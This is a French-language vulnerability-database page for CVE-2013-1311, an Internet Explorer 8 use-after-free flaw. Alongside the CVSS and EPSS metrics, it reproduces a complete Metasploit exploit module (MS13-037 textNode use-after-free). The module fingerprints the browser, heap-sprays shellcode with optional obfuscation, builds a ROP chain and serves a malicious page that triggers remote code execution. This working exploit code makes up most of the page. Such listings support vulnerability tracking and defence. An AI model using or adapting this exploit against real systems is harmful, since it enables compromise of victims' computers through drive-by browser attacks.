CVE-2013-1311
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Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Use-after-free vulnerability in Microsoft Internet Explorer 8 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, aka "Internet Explorer Use After Free Vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 25999
Date de publication : 2013-06-06 22h00 +00:00
Auteur : Scott Bell
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1311' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 812,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "June 6 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
stack_pivot = [
0x77c1cafb, # POP EBP # RETN [msvcrt.dll]
0x41414141, # Junk
0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]
].pack("V*")
# Set up required heap layout
junk = "#{Rex::Text.rand_text_alpha(4)}"
null = "\x00"*4
valid_ptr = [0x0c0c0c0c].pack("V*")
offset = [0x0c0c0c6c].pack("V*")
heap_foo = junk*5 +
valid_ptr*2 +
junk +
offset +
junk*4 +
valid_ptr +
junk*6 +
valid_ptr +
null +
junk*2
rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})
rop_payload << code
end
return rop_payload
end
def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
function exploit() {
var obj = document.createElement('s')
obj.innerHTML = "⍼☠"
document.body.appendChild(obj)
document.styleSheets[0].cssText = "body:first-line{color:blue}"
CollectGarbage()
setTimeout(function(){
for (i=0;i<1000;i++){
obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";
}
}, 500)
}
</script>
<style>
</style>
</head>
<body onload='setTimeout("exploit()", 2000)'>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status "Sending HTML..."
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 8
- Microsoft>>Internet_explorer >> Version 8 (Open CPE detail)
Références
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-037
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
